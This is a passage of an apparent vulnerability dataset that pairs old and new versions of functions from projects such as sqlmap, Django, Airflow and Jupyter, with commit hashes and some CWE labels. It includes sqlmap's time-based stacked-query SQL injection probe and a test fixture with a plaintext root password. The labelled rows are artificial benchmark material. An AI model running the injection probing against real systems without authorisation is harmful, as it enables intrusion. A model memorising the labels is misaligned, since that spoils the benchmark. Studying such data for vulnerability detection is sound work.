
    if kb.stackedTest is not None:
        return kb.stackedTest

    infoMsg  = ""testing stacked queries support on parameter ""
    infoMsg += ""'%s'"" % kb.injParameter
    logger.info(infoMsg)

    query      = getDelayQuery()
    start      = time.time()
    payload, _ = inject.goStacked(query)
    duration   = time.time() - start

    if duration >= conf.timeSec:
        infoMsg  = ""the web application supports stacked queries ""
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)

        kb.stackedTest = payload
    else:
        warnMsg  = ""the web application does not support stacked queries ""
        warnMsg += ""on parameter '%s'"" % kb.injParameter
        logger.warn(warnMsg)

        kb.stackedTest = False

    setStacked()

    return kb.stackedTest",,sqlmapproject/sqlmap,2fdac836073be0d0302298145aa48cf0ac74e344,"def stackedTest():
    if conf.direct:
        return

    if kb.stackedTest is not None:
        return kb.stackedTest

    infoMsg  = ""testing stacked queries support on parameter ""
    infoMsg += ""'%s'"" % kb.injParameter
    logger.info(infoMsg)

    query      = getDelayQuery()
    start      = time.time()
    payload, _ = inject.goStacked(query)
    duration   = int(time.time() - start)

    if duration >= conf.timeSec:
        infoMsg  = ""the web application supports stacked queries ""
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)

        kb.stackedTest = payload
    else:
        warnMsg  = ""the web application does not support stacked queries ""
        warnMsg += ""on parameter '%s'"" % kb.injParameter
        logger.warn(warnMsg)

        kb.stackedTest = False

    setStacked()

    return kb.stackedTest"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/reboot.py,1,"def do_until_success_or_timeout(self, action, reboot_timeout, action_desc):
        max_end_time = datetime.utcnow() + timedelta(seconds=reboot_timeout)

        fail_count = 0
        max_fail_sleep = 12

        while datetime.utcnow() < max_end_time:
            try:
                action()
                if action_desc:
                    display.debug('%s: %s success' % (self._task.action, action_desc))
                return
            except Exception as e:
                if isinstance(e, AnsibleConnectionFailure):
                    try:
                        self._connection.reset()
                    except AnsibleConnectionFailure:
                        pass
                # Use exponential backoff with a max timout, plus a little bit of randomness
                random_int = random.randint(0, 1000) / 1000
                fail_sleep = 2 ** fail_count + random_int
                if fail_sleep > max_fail_sleep:

                    fail_sleep = max_fail_sleep + random_int
                if action_desc:
                    try:
                        error = to_text(e).splitlines()[-1]
                    except TypeError as e:
                        error = to_text(e)
                    display.debug(""{0}: {1} fail '{2}', retrying in {3:.4} seconds..."".format(self._task.action, action_desc,
                                                                                              error, fail_sleep))
                fail_count += 1
                time.sleep(fail_sleep)

        raise TimedOutException('Timed out waiting for %s (timeout=%s)' % (action_desc, reboot_timeout))",CWE-330,ansible/ansible,5eb7f5781e28cd382160162e611798580744d29f,"def do_until_success_or_timeout(self, action, reboot_timeout, action_desc):
        max_end_time = datetime.utcnow() + timedelta(seconds=reboot_timeout)

        fail_count = 0
        max_fail_sleep = 12

        while datetime.utcnow() < max_end_time:
            try:
                action()
                if action_desc:
                    display.debug('%s: %s success' % (self._task.action, action_desc))
                return
            except Exception as e:
                # Use exponential backoff with a max timout, plus a little bit of randomness
                random_int = random.randint(0, 1000) / 1000
                fail_sleep = 2 ** fail_count + random_int
                if fail_sleep > max_fail_sleep:

                    fail_sleep = max_fail_sleep + random_int
                if action_desc:
                    display.debug(""{0}: {1} fail '{2}', retrying in {3:.4} seconds..."".format(self._task.action, action_desc,
                                                                                              to_text(e).splitlines()[-1], fail_sleep))
                fail_count += 1
                time.sleep(fail_sleep)

        raise TimedOutException('Timed out waiting for %s (timeout=%s)' % (action_desc, reboot_timeout))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/filemanager.py,0,"def _dir_model(self, path, content=True):
        """"""Build a model for a directory

        if content is requested, will include a listing of the directory
        """"""
        os_path = self._get_os_path(path)

        four_o_four = u'directory does not exist: %r' % path

        if not os.path.isdir(os_path):
            raise web.HTTPError(404, four_o_four)
        elif is_hidden(os_path, self.root_dir):
            self.log.info(""Refusing to serve hidden directory %r, via 404 Error"",
                os_path
            )
            raise web.HTTPError(404, four_o_four)

        model = self._base_model(path)
        model['type'] = 'directory'
        if content:
            model['content'] = contents = []
            os_dir = self._get_os_path(path)
            for name in os.listdir(os_dir):
                try:
                    os_path = os.path.join(os_dir, name)
                except UnicodeDecodeError as e:
                    self.log.warn(
                        ""failed to decode filename '%s': %s"", name, e)
                    continue
                # skip over broken symlinks in listing
                if not os.path.exists(os_path):
                    self.log.warn(""%s doesn't exist"", os_path)
                    continue
                elif not os.path.isfile(os_path) and not os.path.isdir(os_path):
                    self.log.debug(""%s not a regular file"", os_path)
                    continue
                if self.should_list(name) and not is_hidden(os_path, self.root_dir):
                    contents.append(self.get(
                        path='%s/%s' % (path, name),
                        content=False)
                    )

            model['format'] = 'json'

        return model",,jupyter/notebook,9b514b14064f86e9f5a5a1b94545f81aa3eb57e1,"def _dir_model(self, path, content=True):
        """"""Build a model for a directory

        if content is requested, will include a listing of the directory
        """"""
        os_path = self._get_os_path(path)

        four_o_four = u'directory does not exist: %r' % path

        if not os.path.isdir(os_path):
            raise web.HTTPError(404, four_o_four)
        elif is_hidden(os_path, self.root_dir):
            self.log.info(""Refusing to serve hidden directory %r, via 404 Error"",
                os_path
            )
            raise web.HTTPError(404, four_o_four)

        model = self._base_model(path)
        model['type'] = 'directory'
        if content:
            model['content'] = contents = []
            os_dir = self._get_os_path(path)
            for name in os.listdir(os_dir):
                os_path = os.path.join(os_dir, name)
                # skip over broken symlinks in listing
                if not os.path.exists(os_path):
                    self.log.warn(""%s doesn't exist"", os_path)
                    continue
                elif not os.path.isfile(os_path) and not os.path.isdir(os_path):
                    self.log.debug(""%s not a regular file"", os_path)
                    continue
                if self.should_list(name) and not is_hidden(os_path, self.root_dir):
                    contents.append(self.get(
                        path='%s/%s' % (path, name),
                        content=False)
                    )

            model['format'] = 'json'

        return model"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/azure/client.py,0,"def _build_block_list_xml(block_list):
    xml = '<?xml version=""1.0"" encoding=""utf-8""?>\n<BlockList>\n'
    for block_id in block_list:
        # Because block IDs are base64-encoded and base64 strings do not contain
        # XML special characters, we can safely insert the block ID directly into
        # the XML document
        xml += f""<Uncommitted>{block_id}</Uncommitted>\n""
    xml += ""</BlockList>""
    return xml",,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def _build_block_list_xml(block_list):
    xml = '<?xml version=""1.0"" encoding=""utf-8""?>\n<BlockList>\n'
    for block_id in block_list:
        # Because block IDs are base64-encoded and base64 strings do not contain
        # XML special characters, we can safely insert the block ID directly into
        # the XML document
        xml += ""<Uncommitted>{}</Uncommitted>\n"".format(block_id)
    xml += ""</BlockList>""
    return xml"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/bigpagepools.py,0,"def modification(self, profile):
        m = profile.metadata 

        distance_map = {
            (5, 1, '32bit') : [[8, 12]], 
            (5, 2, '32bit') : [[24, 28]],
            (5, 2, '64bit') : [[48, 56]],
            (6, 0, '32bit') : [[20, 24]], 
            (6, 0, '64bit') : [[40, 48]],
            (6, 1, '32bit') : [[20, 24]], 
            (6, 1, '64bit') : [[40, 48]],
            (6, 2, '32bit') : [[92, 88]],
            (6, 2, '64bit') : [[-5200, -5224]], 
            (6, 3, '32bit') : [[116, 120]],
            (6, 4, '64bit') : [[208, 184], [168, 192]],
            (6, 4, '32bit') : [[-168, -164]],
        }

        version = (m.get('major', 0), m.get('minor', 0), m.get('memory_model', '32bit'))
        distance = distance_map.get(version)

        if distance == None:
            if version == (6, 3, '64bit'):
                if m.get('build', 0) == 9601:
                    distance = [[-5192, -5200], [-5224, -5232]]
                else:
                    distance = [[-5200, -5176]]

        profile.merge_overlay({
            'VOLATILITY_MAGIC': [ None, {
            'BigPageTable': [ 0, [
                'BigPageTable', dict(distance = distance)]],
            }]})

        profile.object_classes.update({'BigPageTable': BigPageTable})",,volatilityfoundation/volatility,7c4376d2239e44a64b8ab9d3cc8769a985eee6df,"def modification(self, profile):
        m = profile.metadata 

        distance_map = {
            (5, 1, '32bit') : [8, 12], 
            (5, 2, '32bit') : [24, 28],
            (5, 2, '64bit') : [48, 56],
            (6, 0, '32bit') : [20, 24], 
            (6, 0, '64bit') : [40, 48],
            (6, 1, '32bit') : [20, 24], 
            (6, 1, '64bit') : [40, 48],
            (6, 2, '32bit') : [92, 88],
            (6, 2, '64bit') : [-5200, -5224], 
            (6, 3, '32bit') : [116, 120],
            (6, 4, '64bit') : [168, 192],
            (6, 4, '32bit') : [-168, -164],
        }

        version = (m.get('major', 0), m.get('minor', 0), m.get('memory_model', '32bit'))
        distance = [distance_map.get(version)]

        if distance == [None]:
            if version == (6, 3, '64bit'):
                if m.get('build', 0) == 9601:
                    distance = [[-5192, -5200], [-5224, -5232]]
                else:
                    distance = [[-5200, -5176]]

        profile.merge_overlay({
            'VOLATILITY_MAGIC': [ None, {
            'BigPageTable': [ 0, [
                'BigPageTable', dict(distance = distance)]],
            }]})

        profile.object_classes.update({'BigPageTable': BigPageTable})"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,0,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, allow_joins=True, split_subq=True,
                     reuse_with_filtered_relation=False, simple_col=False):
        """"""
        Build a WhereNode for a single filter clause but don't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_negated and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        If 'reuse_with_filtered_relation' is True, then only joins in can_reuse
        will be reused.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        if isinstance(filter_expr, dict):
            raise FieldError(""Cannot parse keyword query as dict"")
        if hasattr(filter_expr, 'resolve_expression') and getattr(filter_expr, 'conditional', False):
            if connections[DEFAULT_DB_ALIAS].ops.conditional_expression_supported_in_where_clause(filter_expr):
                condition = filter_expr.resolve_expression(self)
            else:
                # Expression is not supported in the WHERE clause, add
                # comparison with True.
                condition = self.build_lookup(['exact'], filter_expr.resolve_expression(self), True)
            clause = self.where_class()
            clause.add(condition, AND)
            return clause, []
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_expression = self.solve_lookup_type(arg)

        self.check_filterable(reffed_expression)

        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        pre_joins = self.alias_refcount.copy()
        value = self.resolve_lookup_value(value, can_reuse, allow_joins, simple_col)
        used_joins = {k for k, v in self.alias_refcount.items() if v > pre_joins.get(k, 0)}

        self.check_filterable(value)

        clause = self.where_class()
        if reffed_expression:
            condition = self.build_lookup(lookups, reffed_expression, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated or not split_subq

        try:
            join_info = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many,
                reuse_with_filtered_relation=reuse_with_filtered_relation,
            )

            # Prevent iterator from being consumed by check_related_objects()
            if isinstance(value, Iterator):
                value = list(value)
            self.check_related_objects(join_info.final_field, value, join_info.opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_info.joins
        except MultiJoin as e:
            return self.split_exclude(filter_expr, can_reuse, e.names_with_path)

        # Update used_joins before trimming since they are reused to determine
        # which joins could be later promoted to INNER.
        used_joins.update(join_info.joins)
        targets, alias, join_list = self.trim_joins(join_info.targets, join_info.joins, join_info.path)
        if can_reuse is not None:
            can_reuse.update(join_list)

        if join_info.final_field.is_relation:
            # No support for transforms for relational fields
            num_lookups = len(lookups)
            if num_lookups > 1:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            if len(targets) == 1:
                col = _get_col(targets[0], join_info.final_field, alias, simple_col)
            else:
                col = MultiColSource(alias, targets, join_info.targets, join_info.final_field)
        else:
            col = _get_col(targets[0], join_info.final_field, alias, simple_col)

        condition = self.build_lookup(lookups, col, value)
        lookup_type = condition.lookup_name
        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and condition.rhs is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or condition.rhs is False) and condition.rhs is not None:
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                col = _get_col(targets[0], join_info.targets[0], alias, simple_col)
                clause.add(lookup_class(col, False), AND)
        return clause, used_joins if not require_outer else ()",CWE-Unknown,django/django,4137fc2efce2dde48340728b8006fc6d66b9e3a5,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, allow_joins=True, split_subq=True,
                     reuse_with_filtered_relation=False, simple_col=False):
        """"""
        Build a WhereNode for a single filter clause but don't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_negated and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        If 'reuse_with_filtered_relation' is True, then only joins in can_reuse
        will be reused.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        if isinstance(filter_expr, dict):
            raise FieldError(""Cannot parse keyword query as dict"")
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_expression = self.solve_lookup_type(arg)

        self.check_filterable(reffed_expression)

        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        pre_joins = self.alias_refcount.copy()
        value = self.resolve_lookup_value(value, can_reuse, allow_joins, simple_col)
        used_joins = {k for k, v in self.alias_refcount.items() if v > pre_joins.get(k, 0)}

        self.check_filterable(value)

        clause = self.where_class()
        if reffed_expression:
            condition = self.build_lookup(lookups, reffed_expression, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated or not split_subq

        try:
            join_info = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many,
                reuse_with_filtered_relation=reuse_with_filtered_relation,
            )

            # Prevent iterator from being consumed by check_related_objects()
            if isinstance(value, Iterator):
                value = list(value)
            self.check_related_objects(join_info.final_field, value, join_info.opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_info.joins
        except MultiJoin as e:
            return self.split_exclude(filter_expr, can_reuse, e.names_with_path)

        # Update used_joins before trimming since they are reused to determine
        # which joins could be later promoted to INNER.
        used_joins.update(join_info.joins)
        targets, alias, join_list = self.trim_joins(join_info.targets, join_info.joins, join_info.path)
        if can_reuse is not None:
            can_reuse.update(join_list)

        if join_info.final_field.is_relation:
            # No support for transforms for relational fields
            num_lookups = len(lookups)
            if num_lookups > 1:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            if len(targets) == 1:
                col = _get_col(targets[0], join_info.final_field, alias, simple_col)
            else:
                col = MultiColSource(alias, targets, join_info.targets, join_info.final_field)
        else:
            col = _get_col(targets[0], join_info.final_field, alias, simple_col)

        condition = self.build_lookup(lookups, col, value)
        lookup_type = condition.lookup_name
        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and condition.rhs is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or condition.rhs is False) and condition.rhs is not None:
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                col = _get_col(targets[0], join_info.targets[0], alias, simple_col)
                clause.add(lookup_class(col, False), AND)
        return clause, used_joins if not require_outer else ()"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/util.py,0,"def log_to_file(filename, level=DEBUG):
    """"""send paramiko logs to a logfile,
    if they're not already going somewhere""""""
    logger = logging.getLogger(""paramiko"")
    if len(logger.handlers) > 0:
        return
    logger.setLevel(level)
    f = open(filename, ""a"")
    handler = logging.StreamHandler(f)
    frm = ""%(levelname)-.3s [%(asctime)s.%(msecs)03d] thr=%(_threadid)-3d %(name)s: %(message)s""  # noqa
    handler.setFormatter(logging.Formatter(frm, ""%Y%m%d-%H:%M:%S""))
    logger.addHandler(handler)",,paramiko/paramiko,c95635e5e901d87a11d9fe8b5d7b689f35abf559,"def log_to_file(filename, level=DEBUG):
    """"""send paramiko logs to a logfile,
    if they're not already going somewhere""""""
    l = logging.getLogger(""paramiko"")
    if len(l.handlers) > 0:
        return
    l.setLevel(level)
    f = open(filename, ""a"")
    lh = logging.StreamHandler(f)
    frm = ""%(levelname)-.3s [%(asctime)s.%(msecs)03d] thr=%(_threadid)-3d %(name)s: %(message)s""  # noqa
    lh.setFormatter(logging.Formatter(frm, ""%Y%m%d-%H:%M:%S""))
    l.addHandler(lh)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def launch_browser(self):
        try:
            browser = webbrowser.get(self.browser or None)
        except webbrowser.Error as e:
            self.log.warning(_('No web browser found: %s.') % e)
            browser = None

        if not browser:
            return

        if self.file_to_run:
            if not os.path.exists(self.file_to_run):
                self.log.critical(_(""%s does not exist"") % self.file_to_run)
                self.exit(1)

            relpath = os.path.relpath(self.file_to_run, self.notebook_dir)
            uri = url_escape(url_path_join('notebooks', *relpath.split(os.sep)))

            # Write a temporary file to open in the browser
            fd, open_file = tempfile.mkstemp(suffix='.html')
            with io.open(fd, 'w', encoding='utf-8') as fh:
                self._write_browser_open_file(uri, fh)
        else:
            open_file = self.browser_open_file

        b = lambda: browser.open(
            urljoin('file:', pathname2url(open_file)),
            new=self.webbrowser_open_new)
        threading.Thread(target=b).start()",,jupyter/notebook,cf3622c1fff66c9ce65268c7344ffd83be377d0a,"def launch_browser(self):
        try:
            browser = webbrowser.get(self.browser or None)
        except webbrowser.Error as e:
            self.log.warning(_('No web browser found: %s.') % e)
            browser = None

        if not browser:
            return

        if self.file_to_run:
            if not os.path.exists(self.file_to_run):
                self.log.critical(_(""%s does not exist"") % self.file_to_run)
                self.exit(1)

            relpath = os.path.relpath(self.file_to_run, self.notebook_dir)
            uri = url_escape(url_path_join('notebooks', *relpath.split(os.sep)))

            # Write a temporary file to open in the browser
            fd, open_file = tempfile.mkstemp(suffix='.html')
            with open(fd, 'w', encoding='utf-8') as fh:
                self._write_browser_open_file(uri, fh)
        else:
            open_file = self.browser_open_file

        b = lambda: browser.open(
            urljoin('file:', pathname2url(open_file)),
            new=self.webbrowser_open_new)
        threading.Thread(target=b).start()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/error500.py,0,"def _testResponse(self, request, response):
        
        if isTextOrHtml(response.getHeaders()) and response.getCode() in range( 400,600 )\
        and response.getCode() not in ( 404 , 403, 401 ) and not self._falsePositive( response ):
            self._error500responses.append( (request,response) )",,andresriancho/w3af,dd562cab3f268036b7c1f6e25ac411e40ad49bda,"def _testResponse(self, request, response):
        
        if isTextOrHtml(response.getHeaders()) and response.getCode() in range( 400,600 )\
        and response.getCode() not in ( 404 , 403 ) and not self._falsePositive( response ):
            self._error500responses.append( (request,response) )"
,UNKNOWN,UNKNOWN,helm_tests/other/test_pgbouncer.py,1,"def test_overriden_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""pgbouncer"": {
                    ""enabled"": True,
                    ""serviceAccount"": {""create"": True, ""automountServiceAccountToken"": False},
                },
            },
            show_only=[""templates/pgbouncer/pgbouncer-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is False",CWE-703,apache/airflow,c98fd194330ef08935d5b9504a8711b7cb9b8bb5,"def test_overriden_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""pgbouncer"": {
                    ""enabled"": True,
                    ""serviceAccount"": {""create"": True, ""automountServiceAccountToken"": False},
                },
            },
            show_only=[""templates/pgbouncer/pgbouncer-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is False"
,UNKNOWN,UNKNOWN,tests/unit/transport/test_zeromq.py,1,"def test_zeromq_zeromq_filtering_decode_message(self):
        """"""
        test AsyncZeroMQPubChannel _decode_messages
        when zmq_filtered enabled
        """"""
        message = [
            b""4f26aeafdb2367620a393c973eddbe8f8b846ebd"",
            b""\x82\xa3enc\xa3aes\xa4load\xda\x00`\xeeR\xcf""
            b""\x0eaI#V\x17if\xcf\xae\x05\xa7\xb3bN\xf7\xb2\xe2""
            b'\xd0sF\xd1\xd4\xecB\xe8\xaf""/*ml\x80Q3\xdb\xaexg'
            b""\x8e\x8a\x8c\xd3l\x03\\,J\xa7\x01i\xd1:]\xe3\x8d""
            b""\xf4\x03\x88K\x84\n`\xe8\x9a\xad\xad\xc6\x8ea\x15>""
            b""\x92m\x9e\xc7aM\x11?\x18;\xbd\x04c\x07\x85\x99\xa3\xea[\x00D"",
        ]

        opts = dict(
            self.master_config,
            ipc_mode=""ipc"",
            pub_hwm=0,
            zmq_filtering=True,
            recon_randomize=False,
            recon_default=1,
            recon_max=2,
            master_ip=""127.0.0.1"",
            acceptance_wait_time=5,
            acceptance_wait_time_max=5,
        )
        opts[""master_uri""] = ""tcp://{interface}:{publish_port}"".format(**opts)

        server_channel = salt.transport.zeromq.AsyncZeroMQPubChannel(opts)
        try:
            with patch(
                ""salt.crypt.AsyncAuth.crypticle"",
                MagicMock(return_value={""tgt_type"": ""glob"", ""tgt"": ""*"", ""jid"": 1}),
            ) as mock_test:
                res = server_channel._decode_messages(message)
        finally:
            server_channel.io_loop.stop()
            server_channel.context.destroy(1)

        assert res.result()[""enc""] == ""aes""",CWE-703,saltstack/salt,a8bae699ffa2c1349ee2f908fca6b4eb9607da65,"def test_zeromq_zeromq_filtering_decode_message(self):
        """"""
        test AsyncZeroMQPubChannel _decode_messages
        when zmq_filtered enabled
        """"""
        message = [
            b""4f26aeafdb2367620a393c973eddbe8f8b846ebd"",
            b""\x82\xa3enc\xa3aes\xa4load\xda\x00`\xeeR\xcf""
            b""\x0eaI#V\x17if\xcf\xae\x05\xa7\xb3bN\xf7\xb2\xe2""
            b'\xd0sF\xd1\xd4\xecB\xe8\xaf""/*ml\x80Q3\xdb\xaexg'
            b""\x8e\x8a\x8c\xd3l\x03\\,J\xa7\x01i\xd1:]\xe3\x8d""
            b""\xf4\x03\x88K\x84\n`\xe8\x9a\xad\xad\xc6\x8ea\x15>""
            b""\x92m\x9e\xc7aM\x11?\x18;\xbd\x04c\x07\x85\x99\xa3\xea[\x00D"",
        ]

        opts = dict(
            self.master_config,
            ipc_mode=""ipc"",
            pub_hwm=0,
            zmq_filtering=True,
            recon_randomize=False,
            recon_default=1,
            recon_max=2,
            master_ip=""127.0.0.1"",
            acceptance_wait_time=5,
            acceptance_wait_time_max=5,
        )
        opts[""master_uri""] = ""tcp://{interface}:{publish_port}"".format(**opts)

        server_channel = salt.transport.zeromq.AsyncZeroMQPubChannel(opts)
        try:
            with patch(
                ""salt.crypt.AsyncAuth.crypticle"",
                MagicMock(return_value={""tgt_type"": ""glob"", ""tgt"": ""*"", ""jid"": 1}),
            ) as mock_test:
                res = server_channel._decode_messages(message)
        finally:
            server_channel.io_loop.stop()
            server_channel.context.destroy(1)

        assert res.result()[""enc""] == ""aes"""
,UNKNOWN,UNKNOWN,tests/cli/commands/test_connection_command.py,1,"def test_cli_connections_export_should_export_as_json(self, mock_file_open, mock_splittext):
        output_filepath = '/tmp/connections.json'
        mock_splittext.return_value = (None, '.json')

        args = self.parser.parse_args([
            ""connections"",
            ""export"",
            output_filepath,
        ])
        connection_command.connections_export(args)

        expected_connections = json.dumps({
            ""airflow_db"": {
                ""conn_type"": ""mysql"",
                ""host"": ""mysql"",
                ""login"": ""root"",
                ""password"": ""plainpassword"",
                ""schema"": ""airflow"",
                ""port"": None,
                ""extra"": None,
            },
            ""druid_broker_default"": {
                ""conn_type"": ""druid"",
                ""host"": ""druid-broker"",
                ""login"": None,
                ""password"": None,
                ""schema"": None,
                ""port"": 8082,
                ""extra"": ""{\""endpoint\"": \""druid/v2/sql\""}"",
            }
        }, indent=2)

        mock_splittext.assert_called_once()
        mock_file_open.assert_called_once_with(output_filepath, 'w', -1, 'UTF-8', None)
        mock_file_open.return_value.write.assert_called_once_with(expected_connections)",CWE-259,apache/airflow,e2ec5ef665247f511075fd2ad466e6f39c694366,"def test_cli_connections_export_should_export_as_json(self, mock_file_open, mock_splittext):
        output_filepath = '/tmp/connections.json'
        mock_splittext.return_value = (None, '.json')

        args = self.parser.parse_args([
            ""connections"",
            ""export"",
            output_filepath,
        ])
        connection_command.connections_export(args)

        expected_connections = json.dumps({
            ""airflow_db"": {
                ""conn_type"": ""mysql"",
                ""host"": ""mysql"",
                ""login"": ""root"",
                ""password"": ""plainpassword"",
                ""schema"": ""airflow"",
                ""port"": None,
                ""extra"": None,
            },
            ""druid_broker_default"": {
                ""conn_type"": ""druid"",
                ""host"": ""druid-broker"",
                ""login"": None,
                ""password"": None,
                ""schema"": None,
                ""port"": 8082,
                ""extra"": ""{\""endpoint\"": \""druid/v2/sql\""}"",
            }
        })

        mock_splittext.assert_called_once()
        mock_file_open.assert_called_once_with(output_filepath, 'w', -1, 'UTF-8', None)
        mock_file_open.return_value.write.assert_called_once_with(expected_connections)"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/log/test_gcs_task_handler_system.py,1,"def test_should_read_logs(self, session):
        with mock.patch.dict(
            ""os.environ"",
            AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
            AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""gs://{self.bucket_name}/path/to/logs"",
            AIRFLOW__LOGGING__REMOTE_LOG_CONN_ID=""google_cloud_default"",
            AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
            AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
            GOOGLE_APPLICATION_CREDENTIALS=resolve_full_gcp_key_path(GCP_GCS_KEY),
        ):
            assert subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait() == 0
            assert subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait() == 0

        ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()
        dag = DagBag(dag_folder=example_complex.__file__).dags[""example_complex""]
        task = dag.task_dict[""create_entry_group""]
        ti.task = task
        self.assert_remote_logs(""INFO - Task exited with return code 0"", ti)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_read_logs(self, session):
        with mock.patch.dict(
            ""os.environ"",
            AIRFLOW__LOGGING__REMOTE_LOGGING=""true"",
            AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER=f""gs://{self.bucket_name}/path/to/logs"",
            AIRFLOW__LOGGING__REMOTE_LOG_CONN_ID=""google_cloud_default"",
            AIRFLOW__CORE__LOAD_EXAMPLES=""false"",
            AIRFLOW__CORE__DAGS_FOLDER=example_complex.__file__,
            GOOGLE_APPLICATION_CREDENTIALS=resolve_full_gcp_key_path(GCP_GCS_KEY),
        ):
            assert 0 == subprocess.Popen([""airflow"", ""dags"", ""trigger"", ""example_complex""]).wait()
            assert 0 == subprocess.Popen([""airflow"", ""scheduler"", ""--num-runs"", ""1""]).wait()

        ti = session.query(TaskInstance).filter(TaskInstance.task_id == ""create_entry_group"").first()
        dag = DagBag(dag_folder=example_complex.__file__).dags[""example_complex""]
        task = dag.task_dict[""create_entry_group""]
        ti.task = task
        self.assert_remote_logs(""INFO - Task exited with return code 0"", ti)"
,UNKNOWN,UNKNOWN,providers/tests/celery/executors/test_celery_executor.py,1,"def test_celery_task_acks_late_loaded_from_string():
    import importlib

    # reload celery conf to apply the new config
    importlib.reload(default_celery)
    assert default_celery.DEFAULT_CELERY_CONFIG[""task_acks_late""] is False",CWE-703,apache/airflow,f3151491b318075d6e23e542b6a0150d665b8b47,"def test_celery_task_acks_late_loaded_from_string():
    import importlib

    # reload celery conf to apply the new config
    importlib.reload(default_celery)
    assert default_celery.DEFAULT_CELERY_CONFIG[""task_acks_late""] is False"
,UNKNOWN,UNKNOWN,django/contrib/admin/widgets.py,1,"def render(self, name, value, attrs=None):
        rel_to = self.rel.to
        if attrs is None:
            attrs = {}
        extra = []
        if rel_to in self.admin_site._registry:
            # The related object is registered with the same AdminSite
